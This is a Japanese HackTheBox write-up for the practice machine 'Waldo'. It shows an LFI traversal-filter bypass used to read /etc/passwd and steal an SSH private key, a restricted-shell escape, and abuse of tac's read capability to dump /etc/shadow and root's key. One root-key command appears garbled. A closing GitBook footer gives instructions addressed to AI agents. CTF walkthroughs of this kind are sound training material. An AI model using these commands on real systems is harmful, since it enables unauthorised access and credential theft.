> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-medium/waldo-hackthebox-writeup.md).

# Waldo HackTheBox攻略記事

LFI（Local File Inclusion）- フィルタバイパス、LFI経由でユーザーのSSH秘密鍵を取得、コンテナからの脱出、制限付きシェルのバイパス

{% embed url="<https://app.hackthebox.com/machines/Waldo>" %}

{% hint style="warning" %}
**スキル:**

* LFI（ローカルファイルインクルージョン）- フィルタバイパス
* LFI を通じてユーザーの SSH 秘密鍵を取得する
* コンテナからの脱出
* 制限付きシェルのバイパス
* Capabilities の悪用（cap\_dac\_read\_search+ei）（権限昇格）
  {% endhint %}

## 偵察

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c1973e159033dc13ac92d43c854cfe708ebaea8%2Fimage%20(2836).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6277c28146c61f36398218ae2a5596d1a10c6768%2Fimage%20(2837).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.87 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2e54366ab8d1ae4748cfbf0f718bffd1bbc68e5b%2Fimage%20(2838).png?alt=media" alt=""><figcaption></figcaption></figure>

**Nmap によるポートバージョンスキャン 22,80:**

Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:

```bash
nmap -sCV -p22,80 10.10.10.87 -oN targeted 
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f71a2a4216532c2e554d6044e34c67b25473a626%2Fimage%20(2839).png?alt=media" alt=""><figcaption></figcaption></figure>

## ポート80のエクスプロイト

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f839cb9eb68b7edc2b1875211810a448e43d2913%2Fimage%20(2840).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Burp Suite によるインターセプト

クエリを解析し、脆弱性を特定する **LFI** （ローカルファイルインクルージョン）。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6bc4ca3bb4370b18c01cef0edf5c479e23fbcbe4%2Fimage%20(2841).png?alt=media" alt=""><figcaption></figcaption></figure>

### 基本的な LFI テスト

アクセスを試みる `/etc/passwd`:

```
../../../../etc/passwd
```

これは動作しない。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dd51842c0e5c79cd46e406efef95bb5e0ff1ea68%2Fimage%20(2842).png?alt=media" alt=""><figcaption></figcaption></figure>

### LFI フィルタバイパス

次の方法でバイパスをテストしています

```
....//....//../....//..//....//etc/passwd
```

このバイパスは機能し、これで次のものを一覧表示できるようになった `/etc/passwd` ファイルに存在するユーザーに対して試します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d0fe9faf4fd605b2220718b948dbc0e40395b7f3%2Fimage%20(2843).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Curl によるファイル抽出

次を使用します `curl` 脆弱なエンドポイント経由でファイルを取得するために:

{% code overflow="wrap" %}

```bash
curl -s -X POST http://10.10.10.87/fileRead.php -d "file=....//....//../....//..//....//etc/passwd" | jq -r '.file'
```

{% endcode %}

ユーザーを見つける **nobody**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dbe3a1eca3b7828d834b508b81e69652a2506110%2Fimage%20(2844).png?alt=media" alt=""><figcaption></figcaption></figure>

### へのアクセス `.ssh` nobody のディレクトリ

次のリクエストをインターセプトする `list.html` ページから、次のことに気づく `path` 変数がファイルの取得に使用されている。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-35533a8504cf84897a543e969cb70680709ce951%2Fimage%20(2845).png?alt=media" alt=""><figcaption></figcaption></figure>

次の home ディレクトリを調べる `nobody`:

```
....//....//../....//..//....//home/nobody/.ssh/
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bf31983123d30e5b4a86eef943a318a04f623fde%2Fimage%20(2846).png?alt=media" alt=""><figcaption></figcaption></figure>

〜が見つかります `.monitor` ファイルに存在するユーザーに対して試します。

#### SSH 秘密鍵の抽出

{% code overflow="wrap" %}

```bash
curl -s -X POST http://10.10.10.87/fileRead.php -d "file=....//....//../....//..//....//home/nobody/.ssh/.monitor" | jq -r '.file'
```

{% endcode %}

秘密鍵を取得している。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-97adb79c51f40532208c373c6fa2919c124841d5%2Fimage%20(2847).png?alt=media" alt=""><figcaption></figcaption></figure>

#### nobody への SSH 接続

取得した鍵で接続する:

```bash
ssh nobody@10.10.10.87 -i id_rsa
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-543fbc3a85704f87fa81399a570aa4788634ca1c%2Fimage%20(2848).png?alt=media" alt=""><figcaption></figcaption></figure>

### フラグ user.txt :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a5718df0448fd960bdd542099e63806ef42df30%2Fimage%20(2849).png?alt=media" alt="" width="499"><figcaption></figcaption></figure>

## operator ユーザーへのピボット

あるユーザーを特定する `演算子`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-731a6b803c63044b0453c745b0e8738c1cd353e3%2Fimage%20(2850).png?alt=media" alt=""><figcaption></figcaption></figure>

〜が見つかります `authorized_keys` というファイルは `monitor`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de18c3b3ce570aa230d68932fdf47905fa6e1956%2Fimage%20(2851).png?alt=media" alt=""><figcaption></figcaption></figure>

#### monitor への SSH 接続

```bash
ssh monitor@127.0.0.1 -i .monitor
```

小さなシェルに入る（`rbash`).

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d8e5168acaee2c2490e8d0d98ff7d8e2d1b96f64%2Fimage%20(2852).png?alt=media" alt=""><figcaption></figcaption></figure>

### 制限付きシェルのバイパス

次のように指定して SSH セッションを開始する `bash`:

```bash
ssh monitor@127.0.0.1 -i .monitor "bash --noprofile"
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fadfbc83debb5272a4ab131485dcf56233fb737e%2Fimage%20(2853).png?alt=media" alt=""><figcaption></figcaption></figure>

## 権限昇格

### Capabilities- Tac

特定の capabilities を持つファイルを一覧表示する:

```bash
getcap -r / 2>/dev/null
```

次のことを特定する **tac** が `cap_dac_read_search+ei` の capability を持っている:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-82b9c4c9fc6d7feef377abd6530a72086180184f%2Fimage%20(2854).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 保護されたファイルを読み取るための tac 操作

その `tac` コマンド（ `cat`の逆）は、その内容を反転させることでファイルを再生できるようにする。

```bash
tac /etc/shadow
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-161bcb3aa4208384a57985f8d4de26862023816e%2Fimage%20(2855).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt フラグ :)

**root.txt フラグの読み取り**

```bash
tac /root/root.txt | tac
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-46182dcf565f5453c76cef471e019d20dd12f36c%2Fimage%20(2857).png?alt=media" alt="" width="545"><figcaption></figcaption></figure>

**SSH root 鍵の復元**

```bash
/usr/bin/tac | /root/.ssh/id_rsa | /usr/bin/tac
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-284538dc1136201c54a9fd7e51c092e2ed8e722f%2Fimage%20(2856).png?alt=media" alt="" width="399"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-medium/waldo-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
